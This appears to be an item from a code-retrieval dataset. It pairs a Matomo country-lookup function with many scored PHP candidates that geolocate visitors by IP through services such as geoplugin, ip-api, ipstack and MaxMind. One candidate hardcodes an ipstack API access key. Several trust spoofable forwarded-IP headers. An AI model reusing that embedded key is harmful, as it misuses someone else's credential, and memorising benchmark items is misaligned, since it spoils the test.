[ { "docid": "8d9eadff050895d0a7fae18e01d0da03", "score": "0.662276", "text": "public static function getCountry($lang, $enableLanguageToCountryGuess, $ip)\n {\n if (empty($lang) || strlen($lang) < 2 || $lang == self::LANGUAGE_CODE_INVALID) {\n return self::LANGUAGE_CODE_INVALID;\n }\n\n /** @var RegionDataProvider $dataProvider */\n $dataProvider = StaticContainer::get('Piwik\\Intl\\Data\\Provider\\RegionDataProvider');\n\n $validCountries = $dataProvider->getCountryList();\n\n return self::extractCountryCodeFromBrowserLanguage($lang, $validCountries, $enableLanguageToCountryGuess);\n }", "title": "" } ]
[ { "docid": "d91e1a341af15d7f2321ed15fccde717", "score": "0.83990544", "text": "function visitor_country()\r\n{\r\n $client = @$_SERVER['HTTP_CLIENT_IP'];\r\n $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];\r\n $remote = $_SERVER['REMOTE_ADDR'];\r\n $result = \"Unknown\";\r\n if(filter_var($client, FILTER_VALIDATE_IP))\r\n {\r\n $ip = $client;\r\n }\r\n elseif(filter_var($forward, FILTER_VALIDATE_IP))\r\n {\r\n $ip = $forward;\r\n }\r\n else\r\n {\r\n $ip = $remote;\r\n }\r\n\r\n $ip_data = @json_decode(file_get_contents(\"http://www.geoplugin.net/json.gp?ip=\".$ip));\r\n\r\n if($ip_data && $ip_data->geoplugin_countryName != null)\r\n {\r\n $result = $ip_data->geoplugin_countryName;\r\n }\r\n\r\n return $result;\r\n}", "title": "" }, { "docid": "efc95de0b1d400acd5dc9965a42b5b5a", "score": "0.7734497", "text": "function country_from_ip()\n{\n}", "title": "" }, { "docid": "bdc3371f90f3fbb693ebe45f1ef29d4a", "score": "0.7554828", "text": "function getCountryCode() {\n \n $ip = getIp(); \n // debug: \n // $ip = \"193.51.208.14\"; // French IP\n // $ip = \"71.164.115.181\"; // US IP\n \n $location = null;\n if ($ip) {\n // db credentials, see db.php.example\n require 'db.php';\n DBconnect($server, $username, $password, $database);\n \n $location = ipRoughLocate($ip);\n }\n \n if (!$location || !$location[\"countryCode\"] || $location[\"countryName\"] == \"(Unknown Country?)\")\n return \"US\";\n else\n return $location[\"countryCode\"];\n}", "title": "" }, { "docid": "11e26b4deb35b6a5039c7a5c58f7db14", "score": "0.75507426", "text": "public static function geoCountry()\n {\n $ip = request()->ip();\n if ($ip == '127.0.0.1') {\n // Fake a Dutch IP adres for development testing\n $ip = '82.217.110.129';\n }\n if ($get = Cache::get('geoip_' . $ip)) {\n return $get;\n }\n $reader = new Reader(base_path('vendor') . '/bobey/geoip2-geolite2-composer/GeoIP2/GeoLite2-City.mmdb');\n $record = $reader->city($ip);\n Cache::put('geoip_' . $ip, $record->country->isoCode, 3600);\n return $record->country->isoCode;\n }", "title": "" }, { "docid": "cbedeefa90cc880d2d3dbff50248a16a", "score": "0.72412103", "text": "public function geolocateCountry()\n {\n return $this->akGeolocateCountry;\n }", "title": "" }, { "docid": "9c82a1ca68d90d25e91ad14413a8dcc4", "score": "0.7084458", "text": "function get_country() {\n\n\tglobal $post;\n\n\t// Limits API calls to product pages and portals.\n\tif ( is_plugin_active( 'lawyerist-trial-buttons/lawyerist-trial-buttons.php' ) && ( has_trial_button() || get_page_template_slug( $post->ID ) == 'product-page.php' ) ) {\n\n\t\t// Get user's geographic location by IP address.\n\t\t// Set IP address and API access key.\n\t\t$ip = $_SERVER[ 'REMOTE_ADDR' ];\n\t\t$access_key = '55e08636154002dca5b45f0920143108';\n\n\t\t// Initialize CURL.\n\t\t$ch = curl_init( 'http://api.ipstack.com/' . $ip . '?access_key=' . $access_key . '' );\n\t\tcurl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );\n\n\t\t// Store the data.\n\t\t$json = curl_exec( $ch );\n\t\tcurl_close( $ch );\n\n\t\t// Decode JSON response.\n\t\t$api_result = json_decode( $json, true );\n\n\t\t// Return the country code (i.e., \"US\" or \"CA\").\n\t\treturn $api_result[ 'country_code' ];\n\n\t}\n\n}", "title": "" }, { "docid": "12780a7ee894c33688ad5fa434a2ffd4", "score": "0.70810807", "text": "public function get_country_from_ip($ip){\n\n\t\t\tif (array_key_exists('HTTP_X_GEOIP_COUNTRY', $_SERVER)) {\n\t\t\t\t$ip_country = $_SERVER['HTTP_X_GEOIP_COUNTRY'];\n\t\t\t\tif ($ip_country != 'none')\n\t\t\t\t\treturn $ip_country;\n\t\t\t}\n\t\n\t\t\treturn $this->make_call($this->base_url . \"f=get_country_from_ip&ip=\" . urlencode($ip));\n\t\n\t\t}", "title": "" }, { "docid": "780c238adc5c5e7dd0333a5333fc8115", "score": "0.7035186", "text": "public static function country_name() {\n if (getenv('GEOIP_COUNTRY_NAME')) return getenv('GEOIP_COUNTRY_NAME');\n else return null;\n }", "title": "" }, { "docid": "06a8162f9d77733ba9c1372960e78cee", "score": "0.7020122", "text": "public static function getLocationCountryCode(?string $ip = null) : string\n {\n if (!$ip) {\n $ip = request()->get('_ip');\n if (!$ip) {\n $ip = request()->ip();\n }\n }\n $location = \\Location::get($ip);\n if ($location) {\n $countryCode = $location->countryCode;\n } else {\n $countryCode = 'us';\n }\n return $countryCode ? strtolower($countryCode) : 'us';\n }", "title": "" }, { "docid": "6a0d5cf97723132b46fc3050f9a2e708", "score": "0.6987731", "text": "function getLocation($ip = NULL) {\n $query = @unserialize(file_get_contents('http://ip-api.com/php/'.$ip));\n if($query && $query['status'] == 'success') {\n return $query['country'];\n }\n}", "title": "" }, { "docid": "08aee87b41fb63b3526cc8c29228870f", "score": "0.69158506", "text": "function detectCountryCodeByIP() {\n\t\tif(empty($_SERVER))\n\t\t\treturn false;\n\t\t$this->ci->load->model('ip2nation_model');\n\t\t$this->ci->db->where('ip2nation_ip < ', 'INET_ATON(\"' . $_SERVER['REMOTE_ADDR'] . '\")', false);\n\t\t$ip2nation_data = $this->ci->ip2nation_model->get('ip2nation_country', array(), 'ip2nation_ip desc', 0, 1)->row();\n\t\tif(empty($ip2nation_data))\n\t\t\treturn false;\n\t\treturn $ip2nation_data->ip2nation_country;\n\t}", "title": "" }, { "docid": "e436b089abd18056ba62afb0aa6f3f9b", "score": "0.6876586", "text": "public function getCountry() {}", "title": "" }, { "docid": "e436b089abd18056ba62afb0aa6f3f9b", "score": "0.68763936", "text": "public function getCountry() {}", "title": "" }, { "docid": "81d5d284ffaebd4d467f8f5547af8465", "score": "0.68372035", "text": "public function getCountryCodeFromIPAddress( $ip = null )\n {\n\n // No point in hitting this everytime. Once per visitor should be fine...\n if( $sessionCountryCode = Mage::getSingleton('core/session')->getData('sweetapple_geoip_country') ){\n return $sessionCountryCode;\n }\n\n $ip = $this->_getIPToTest( $ip );\n\n // Update the DB if necessary...\n if($this->_checkDatabaseNeedsUpdate()) {\n $this->_updateDatabase();\n }\n\n //Get the country code...\n require_once( $this->_modulePath . \"/GeoIP/geoip.class.php\" );\n $gi = geoip_open( $this->_databasePath, GEOIP_STANDARD);\n $visitorCountryCode = geoip_country_code_by_addr($gi, $ip);\n geoip_close($gi);\n\n if( $visitorCountryCode === \"\"){\n return \"UNKNOWN\";\n }else{\n //Store in session so we can save a few cycles..\n Mage::getSingleton('core/session')->setData('sweetapple_geoip_country', $visitorCountryCode);\n\n return $visitorCountryCode;\n }\n\n }", "title": "" }, { "docid": "af8a0881b4efe14779735618fd5c15e4", "score": "0.6810894", "text": "public function getCountry();", "title": "" }, { "docid": "af8a0881b4efe14779735618fd5c15e4", "score": "0.6810894", "text": "public function getCountry();", "title": "" }, { "docid": "fb2fa6d35678444963d145243e580552", "score": "0.6809193", "text": "public function IP2Country(){\n\t\treturn $this->IPv4;\n\t\t}", "title": "" }, { "docid": "ecaed7c603204aab7b1f3347822bbbe7", "score": "0.6782995", "text": "function geoip_redirect_header() {\n if (is_admin()) return;\n $country = geoip_detect2_get_info_from_current_ip()->country->isoCode;\n ?>\n <script>\n var baseUrl = 'https://' + window.location.hostname + '/'\n var otherUrl = 'https://yourdomain.com/'\n \tvar target = {\n All: baseUrl + 'nl/',\n NL : baseUrl + 'nl/',\n GB : baseUrl + 'uk/',\n IE : baseUrl + 'uk/',\n FR : baseUrl + 'fr/',\n MC : baseUrl + 'fr/',\n IT : baseUrl + 'it/',\n SM : baseUrl + 'it/',\n ES : baseUrl + 'es/',\n AD : baseUrl + 'es/',\n AT : baseUrl + 'de/',\n CH : baseUrl + 'de/',\n DE : baseUrl + 'de/',\n LI : baseUrl + 'de/',\n CZ : baseUrl + 'de/',\n US : otherUrl,\n CA : otherUrl,\n }\n var country = '<?php echo $country; ?>';\n console.log('detected country: ', country);\n var targetCountry = target[country] || target.All;\n if (window.top.location.href.indexOf(targetCountry) === -1) window.top.location.href = targetCountry;\n </script>\n <?php\n}", "title": "" }, { "docid": "60721210e65ea3555374273666b8300b", "score": "0.67729014", "text": "public function getcountry()\n {\n return $this->_fields['country']['FieldValue'];\n }", "title": "" }, { "docid": "2ff9342916371c8657473d95f0cc520c", "score": "0.67657846", "text": "function getCountryCode();", "title": "" }, { "docid": "29cbb4a13ac4eba30ad36f99d9aed22d", "score": "0.6756832", "text": "function get_client_ip() {\n $ipaddress = '';\n if (isset($_SERVER['HTTP_CLIENT_IP']))\n $ipaddress = $_SERVER['HTTP_CLIENT_IP'];\n else if(isset($_SERVER[\"HTTP_CF_CONNECTING_IP\"])) \n $ipaddress = $_SERVER[\"HTTP_CF_CONNECTING_IP\"];\n else if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))\n $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];\n else if(isset($_SERVER['REMOTE_ADDR']))\n $ipaddress = $_SERVER['REMOTE_ADDR'];\n else if(isset($_SERVER['HTTP_X_FORWARDED']))\n $ipaddress = $_SERVER['HTTP_X_FORWARDED'];\n else if(isset($_SERVER['HTTP_FORWARDED_FOR']))\n $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];\n else if(isset($_SERVER['HTTP_FORWARDED']))\n $ipaddress = $_SERVER['HTTP_FORWARDED'];\n else\n $ipaddress = 'UNKNOWN';\n $geord = @json_decode(@file_get_contents('http://www.geoplugin.net/json.gp?ip='.$ipaddress));\n return $geord;\n}", "title": "" }, { "docid": "2815c3fa7fb37e3568a2e1afad20b08a", "score": "0.6732627", "text": "function getLocationInfoByIp(){\n $ip_address=$_SERVER['REMOTE_ADDR'];\n /*Get user ip address details with geoplugin.net*/\n $geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;\n $addrDetailsArr = unserialize(file_get_contents($geopluginURL));\n /*Get City name by return array*/\n \n $city = $addrDetailsArr['geoplugin_city'];\n /*Get Country name by return array*/\n $country = $addrDetailsArr['geoplugin_countryName'];\n $state = $addrDetailsArr['geoplugin_regionName'];\n $result['country'] = $country;\n $result['state'] = $state;\n $result['city'] = $city;\n return $result;\n}", "title": "" }, { "docid": "f4bc9c1aac97f7f25e3e7d683fdca013", "score": "0.67240584", "text": "public function getCountry()\n {\n $country = '';\n if (array_key_exists('country', $this->previousParams)) {\n $country = $this->previousParams['country'];\n }\n\n return $country;\n }", "title": "" }, { "docid": "f4aa5c372489e39d939dd16d97e1205d", "score": "0.6713568", "text": "public function country()\n {\n return $this->callMethod('country');\n }", "title": "" }, { "docid": "e126f0ea726396d91f02af8bb965a13c", "score": "0.67008513", "text": "public function redirectAccordingToCountryCode()\n {\n $location = new IpLocationController();\n $countryCode = $location->setCountryCode();\n\n switch ($countryCode) {\n case'KR':\n $location->getLangByCountry('ko');\n break;\n case 'CN':\n $location->getLangByCountry('zh-hans');\n break;\n case 'TH':\n $location->getLangByCountry('th');\n break;\n case 'ID':\n $location->getLangByCountry('id');\n break;\n case 'JP':\n $location->getLangByCountry('jp');\n break;\n default:\n $location->getLangByCountry('en');\n break;\n }\n }", "title": "" }, { "docid": "32d2934da939a8d848e4b713573726f1", "score": "0.6607366", "text": "public function getCountryCode();", "title": "" }, { "docid": "32d2934da939a8d848e4b713573726f1", "score": "0.6607366", "text": "public function getCountryCode();", "title": "" }, { "docid": "776ad5536defe109527fc6433a2a9cd2", "score": "0.6595702", "text": "public function get_country_iso_code() {\n require( __DIR__ . '/../assets/lib/autoload.php' );\n require( __DIR__ . '/../assets/lib/TP_MaxMind/Db/Reader.php' );\n require( __DIR__ . '/../assets/lib/TP_MaxMind/Db/Reader/Decoder.php' );\n require( __DIR__ . '/../assets/lib/TP_MaxMind/Db/Reader/InvalidDatabaseException.php' );\n require( __DIR__ . '/../assets/lib/TP_MaxMind/Db/Reader/Metadata.php' );\n require( __DIR__ . '/../assets/lib/TP_MaxMind/Db/Reader/Util.php' );\n\n // This WP filter does not work when the redirect is triggered from the front-end ( i.e. when caching is on )\n $db_path = __DIR__ . '/../assets/lib/GeoLite2-Country/GeoLite2-Country.mmdb';\n $reader = new TP_MaxMind\\Db\\Reader( $db_path );\n\n if ( isset( $_SERVER['HTTP_CF_IPCOUNTRY'] ) && !empty( $_SERVER['HTTP_CF_IPCOUNTRY'] ) ) {\n $country_code = strip_tags( strtolower( $_SERVER['HTTP_CF_IPCOUNTRY'] ) );\n } else {\n $ip = $this->get_current_ip();\n $record = $reader->get( $ip );\n $country_code = null;\n if ( !empty( $record ) && !empty( $record['country'] ) && !empty( $record['country']['iso_code'] ) ) {\n $country_code = $record['country']['iso_code'];\n }\n }\n\n return $country_code;\n }", "title": "" }, { "docid": "d877f1b56ab2bd827539439a144be2e7", "score": "0.6583259", "text": "private function getCountryCode($language) {\n \n if (!isset($this->code_redirect)) {\n return $language;\n }\n\n return (isset($this->code_redirect[$language])) ? $this->code_redirect[$language] : $language;\n }", "title": "" }, { "docid": "d942a1214374f2d778cabe0601af1189", "score": "0.653902", "text": "protected function LiveDefaultCountry() {\n\t\treturn self::get_default_country_code_combined();\n\t}", "title": "" }, { "docid": "c22591fc6c2cbb778ce3e5475387ba1f", "score": "0.6535922", "text": "protected function LiveCountry() {\n\t\treturn EcommerceCountry::get_country();\n\t}", "title": "" }, { "docid": "afb1ca591188c54f50904747ccec59fc", "score": "0.65331364", "text": "protected function _getCountryCode()\n {\n if (!$this->_countryCode) {\n $geoIP = Mage::getSingleton('geoip/country');\n $this->_countryCode = $geoIP->getCountry();\n }\n\n return $this->_countryCode;\n }", "title": "" }, { "docid": "a0fddf4c6a1fd3b9dd951c73a6fa5a0f", "score": "0.64679444", "text": "function getCurrentCountry() {\n\t\t$mainframe = JFactory::getApplication ();\n\t\treturn $mainframe->getUserState ( 'com_listbingocountry' );\n\t\n\t}", "title": "" }, { "docid": "47067d78c5a2c5056af3cf41eb2cef51", "score": "0.64550817", "text": "public static function getLocationCountryCodeByIPApi($ip) {\n $location = null;\n if ($ip) {\n //this endpoint is limited to 150 requests per minute from an IP address. If you go over this limit your IP address will be blackholed.\n $url = 'http://ip-api.com/json/' . $ip;\n $ch = curl_init($url);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n $result = curl_exec($ch);\n curl_close($ch);\n if ($result) {\n $location = json_decode($result, true);\n }\n }\n $countryCode = !empty($location['countryCode']) ? $location['countryCode'] : '';\n return strtolower($countryCode);\n }", "title": "" }, { "docid": "aa878857fb4811028ff30e9470f90f59", "score": "0.6443228", "text": "static function getCountry($ip_address){\n\t\t$url = \"http://ip-to-country.webhosting.info/node/view/36\";\n\t\t\n\t\t$inici = \"src=/flag/?type=2&cc2=\";\n\t\t\n\t\t$ch = curl_init();\n\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\tcurl_setopt($ch, CURLOPT_POST,\"POST\");\n\t\tcurl_setopt($ch, CURLOPT_POST, 1);\n\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, \"ip_address=$ip_address\"); \n\t\t\n\t\tob_start();\n\t\t\n\t\tcurl_exec($ch);\n\t\tcurl_close($ch);\n\t\t$cache = ob_get_contents();\n\t\tob_end_clean();\n\t\t\n\t\t$resto = strstr($cache,$inici);\n\t\t$pais = substr($resto,strlen($inici),2);\n\t\t\n\t\treturn $pais;\n\t}", "title": "" }, { "docid": "37e0df1819ea1fd969034d752b656b82", "score": "0.6436175", "text": "public function getCountry()\n {\n\n if ($this->getSubmittedVariableByName('country_selected')) {\n $country = $this->getSubmittedVariableByName('country_selected');\n $this->sessionSet('selected_country', $country);\n } elseif ($this->sessionGet('country')) {\n $country = $this->sessionGet('selected_country');\n } else {\n $country = '+44';\n }\n\n return $country;\n }", "title": "" }, { "docid": "cfa27f32008d9f86573d56ef5a1fc3fb", "score": "0.64057684", "text": "public function getCountry ()\n {\n return $this->country;\n }", "title": "" }, { "docid": "a44135fe4df3a5d73c655b37174c1d1a", "score": "0.6375829", "text": "public function getCountry(): string\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "d8a4b250197d24ccbe71b9ae43a35fbd", "score": "0.6352438", "text": "public function getCountry()\n {\n return $this->country;\n }", "title": "" }, { "docid": "fcb2a1b638196b578a28488d9e03cafa", "score": "0.6351265", "text": "public function getCountry()\r\n {\r\n return $this->country;\r\n }", "title": "" }, { "docid": "4b003e91c2ceff7f63d1885247f1bf61", "score": "0.63401943", "text": "function getGeo() {\n\n $ip = getIp(); \n\n if($ip == null || $ip == '' || $ip == '::1') {\n \t// if the IP returns blank, add a custom IP address \n $ip = '65.112.8.138';\n }\n // Go get IP Geo information \n $g = unserialize(file_get_contents('http://www.geoplugin.net/php.gp?ip='.$ip));\n\n return $g; \n}", "title": "" }, { "docid": "b6e82ab0f64926c1b492266533af3219", "score": "0.63374394", "text": "function getMyCountry() {\n $countryList = getCountries();\n $local_cache = __DIR__ . '/my-country.txt';\n $online_url = \"http://ipinfo.io/country\";\n if (count($countryList)) {\n if (isset($_SESSION['country'])) {\n $country = $_SESSION['country'];\n return $countryList[$_SESSION['country']];\n } else {\n $context = stream_context_create([\n 'http' => [\n 'timeout' => 2\n ]\n ]);\n $country = trim(@file_get_contents($online_url, true, $context));\n if ($country) {\n $_SESSION['country'] = $country;\n return $countryList[$country];\n } else {\n return FALSE;\n }\n }\n } else {\n return FALSE;\n }\n}", "title": "" }, { "docid": "5cb54847bad6b2affad91c9deb399cdc", "score": "0.6337306", "text": "public function getCountry()\n\t{\n\t\treturn $this->country;\n\t}", "title": "" }, { "docid": "43b2cad7b7a222fdfeef036fe240e49a", "score": "0.6333291", "text": "function getCityfromIp($ip){\n\t\t\t//$ip_address=$_SERVER['REMOTE_ADDR'];\n\n\t\t\t/*Get user ip address details with geoplugin.net*/\n\t\t\t$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip;\n\t\t\t$addrDetailsArr = unserialize(file_get_contents($geopluginURL)); \n\n\t\t\t/*Get City name by return array*/ \n\t\t\t$city = $addrDetailsArr['geoplugin_city']; \n\n\t\t\t/*Get Country name by return array*/ \n\t\t\t$country = $addrDetailsArr['geoplugin_countryName'];\n\n\t\t\t/*Comment out these line to see all the posible details*/\n\t\t\t/*echo '<pre>'; \n\t\t\tprint_r($addrDetailsArr);\n\t\t\tdie();*/\n\n\t\t\tif(!$city){\n\t\t\t $city='Not Define'; \n\t\t\t}if(!$country){\n\t\t\t $country='Not Define'; \n\t\t\t}\n\t\t\techo '<strong>IP Address</strong>:- '.$ip.'<br/>';\n\t\t\techo '<strong>City</strong>:- '.$city.'<br/>';\n\t\t\techo '<strong>Country</strong>:- '.$country.'<br/>';\n\n}", "title": "" }, { "docid": "e949b2e8f48213ef7868afd59c66a5ab", "score": "0.6321347", "text": "function getGeoLocation() {\n $ip = $_SERVER['REMOTE_ADDR'];\n $json = file_get_contents(\"http://freegeoip.net/json/$ip\"); // this WILL do an http request for you\n $data = json_decode($json);\n getExchangeRate($data->country_code);\n }", "title": "" }, { "docid": "baae35cf02256144e40150860b3294cb", "score": "0.6310686", "text": "function countryTranslate($label)\n{\n if ($label == Visit::UNKNOWN_CODE || $label == '') {\n return Piwik::translate('General_Unknown');\n }\n\n if (strtolower($label) == 'ti') {\n $label = 'cn';\n }\n\n // Try to get name from Intl plugin\n $key = 'Intl_Country_' . strtoupper($label);\n $country = Piwik::translate($key);\n\n if ($country != $key) {\n return $country;\n }\n\n // Handle special country codes\n $key = 'UserCountry_country_' . $label;\n $country = Piwik::translate($key);\n\n if ($country != $key) {\n return $country;\n }\n\n return Piwik::translate('General_Unknown');\n}", "title": "" }, { "docid": "64df5a117da853fb5de228d26b6e4cb5", "score": "0.6293786", "text": "public function getCountry()\n\t{\n\n\t\treturn $this->country;\n\t}", "title": "" }, { "docid": "160bcb0e9fc57910fc06e0f03d443b78", "score": "0.6283882", "text": "static function findCountry() {\r\n\t\tuser_error(\"deprecated, please use ShopMember::find_country\", E_USER_NOTICE);\r\n\t\treturn self::find_country();\r\n\t}", "title": "" }, { "docid": "efe897266b9ba4fc4e457cb69d96e8d8", "score": "0.6278667", "text": "public function getIpAddressLocation($ip = null)\n {\n // Prepare the data\n $data = null;\n\n if (filter_var($ip, FILTER_VALIDATE_IP) === false) {\n $ip = $_SERVER['REMOTE_ADDR'];\n \n if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP)) {\n $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];\n }\n if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP)) {\n $ip = $_SERVER['HTTP_CLIENT_IP'];\n }\n }\n\n $continents = [\n 'AF' => 'Africa',\n 'AN' => 'Antarctica',\n 'AS' => 'Asia',\n 'EU' => 'Europe',\n 'OC' => 'Australia (Oceania)',\n 'NA' => 'North America',\n 'SA' => 'South America',\n ];\n\n if (filter_var($ip, FILTER_VALIDATE_IP)) {\n $ipLocation = @json_decode(file_get_contents('http://www.geoplugin.net/json.gp?ip=' . $ip));\n if (@strlen(trim($ipLocation->geoplugin_countryCode)) == 2) {\n $data = [\n 'city' => @$ipLocation->geoplugin_city,\n 'state' => @$ipLocation->geoplugin_regionName,\n 'country' => @$ipLocation->geoplugin_countryName,\n 'country_code' => @$ipLocation->geoplugin_countryCode,\n 'continent' => @$continents[strtoupper($ipLocation->geoplugin_continentCode)],\n 'continent_code' => @$ipLocation->geoplugin_continentCode,\n 'latitude' => @$ipLocation->geoplugin_latitude,\n 'longitude' => @$ipLocation->geoplugin_longitude,\n 'currency_code' => @$ipLocation->geoplugin_currencyCode,\n 'area_code' => @$ipLocation->geoplugin_areaCode,\n 'dma_code' => @$ipLocation->geoplugin_dmaCode,\n 'region' => @$ipLocation->geoplugin_region,\n ];\n }\n }\n\n return $data;\n }", "title": "" }, { "docid": "ae30a7ad9951594b4142cecf2c5d565a", "score": "0.623791", "text": "public function getCountry()\n {\n return $this->_country;\n }", "title": "" }, { "docid": "608909db95560478a79ce7909f478aa5", "score": "0.6229448", "text": "private static function autodetect ()\n {\n $locale = false;\n\n // GeoIP\n if ( function_exists ( 'geoip_country_code_by_name' )\n && isset ( $_SERVER [ 'REMOTE_ADDR' ] ) )\n {\n error::silent ( true );\n $country = geoip_country_code_by_name ( $_SERVER [ 'REMOTE_ADDR' ] );\n error::silent ( false );\n if ( $country )\n {\n $locale = isset ( self::$country_to_locale [ $country ] ) ?\n self::$country_to_locale [ $country ] : false;\n }\n }\n\n // Try detecting locale from browser headers\n if ( !$locale )\n {\n if ( isset ( $_SERVER [ 'HTTP_ACCEPT_LANGUAGE' ] ) )\n {\n $languages = explode ( ',', $_SERVER [ 'HTTP_ACCEPT_LANGUAGE' ] );\n foreach ( $languages as $lang )\n {\n $lang = str_replace ( '-', '_', trim ( $lang ) );\n if ( strpos ( $lang, '_' ) === false )\n {\n if ( isset ( self::$country_to_locale [ strtoupper ( $lang ) ] ) )\n {\n $locale = self::$country_to_locale [ strtoupper ( $lang ) ];\n }\n }\n else\n {\n $lang = explode ( '_', $lang );\n if ( count ( $lang ) == 3 )\n {\n // language_Encoding_COUNTRY\n self::$locale = strtolower ( $lang [ 0 ] ) .\n ucfirst ( $lang [ 1 ] ) .\n strtoupper ( $lang [ 2 ] );\n }\n else\n {\n // language_COUNTRY\n self::$locale = strtolower ( $lang [ 0 ] ) .\n strtoupper ( $lang [ 1 ] );\n }\n return;\n }\n }\n }\n }\n\n // Resort to default locale specified in config file\n if ( !$locale )\n {\n self::$locale = self::$default_locale;\n }\n }", "title": "" }, { "docid": "db4e54b56c02a55af0d074b7e958b97d", "score": "0.620213", "text": "public function getCountry()\n\t{\n\t\treturn $this->_country;\n\t}", "title": "" }, { "docid": "3513da80960842a5a0a55209f6b474ad", "score": "0.61626357", "text": "function get_user_geoloc() {\n\t$location = file_get_contents('http://freegeoip.net/json/'.$_SERVER['REMOTE_ADDR']);\n return json_decode($location);\n}", "title": "" }, { "docid": "d0269a58c0a69beac4e3a912a8d3536c", "score": "0.61619323", "text": "public function getCountryName(string $ip, string $lang = 'en'): ?string\n {\n $data = $this->getCountry($ip);\n return ($data && $result = $data[\"name_{$lang}\"]) ? $result : null;\n }", "title": "" }, { "docid": "512151014ca40d96d6c295c5badf7885", "score": "0.6150038", "text": "public function getCountry()\n {\n return $this->Country;\n }", "title": "" }, { "docid": "4ce262fb8306afca50b7b341e05cc2c6", "score": "0.61428386", "text": "public function getCountryName();", "title": "" }, { "docid": "01f1dca2b6d3f70a795e9882dc2ad7d7", "score": "0.61421925", "text": "static public function countryOfLanguage($lang)\n\t{\n\t\t$countryXml = system::country();\n\n\t\treturn $countryXml->xpath(\"//country/*/{$lang}\");\n\t}", "title": "" }, { "docid": "6cf3d1f339a3d4d6a70eb09ff35b4261", "score": "0.61289436", "text": "public function getCustomerCountry()\n {\n return $this->getParameter('customerCountry');\n }", "title": "" }, { "docid": "0a3e1ebcb8271bb9309e09ba03147343", "score": "0.6114386", "text": "public function getCountryCode(): string;", "title": "" }, { "docid": "fd86c58b235ca62b19de7b086d04aa1d", "score": "0.61023927", "text": "public function getCountry()\n {\n return $this->localeService->getActiveCountry();\n }", "title": "" }, { "docid": "e5e7e0be78235ea642427ad1d53edfe8", "score": "0.6098042", "text": "function countryCityFromIP($ipAddr)\r\n\t{\r\n\r\n //verify the IP address for the\r\n ip2long($ipAddr)== -1 || ip2long($ipAddr) === false ? trigger_error(\"Invalid IP\", E_USER_ERROR) : \"\";\r\n $ipDetail=array(); //initialize a blank array\r\n /*\r\n //get the XML result from hostip.info\r\n $xml = file_get_contents(\"http://api.hostip.info/?ip=\".$ipAddr);\r\n $match=array();\r\n \r\n if($xml){\r\n //get the city name inside the node <gml:name> and </gml:name>\r\n @preg_match(\"@<Hostip>(\\s)*<gml:name>(.*?)</gml:name>@si\",$xml,$match);\r\n //print_r($match);\r\n $ipDetail['city']=\"Unknown\";\r\n }\r\n else\r\n $ipDetail['city']=\"Unknown\";\r\n\r\n if($xml){\r\n //get the country name inside the node <countryName> and </countryName>\r\n @preg_match(\"@<countryName>(.*?)</countryName>@si\",$xml,$matches);\r\n\r\n //assign the country name to the $ipDetail array\r\n\r\n 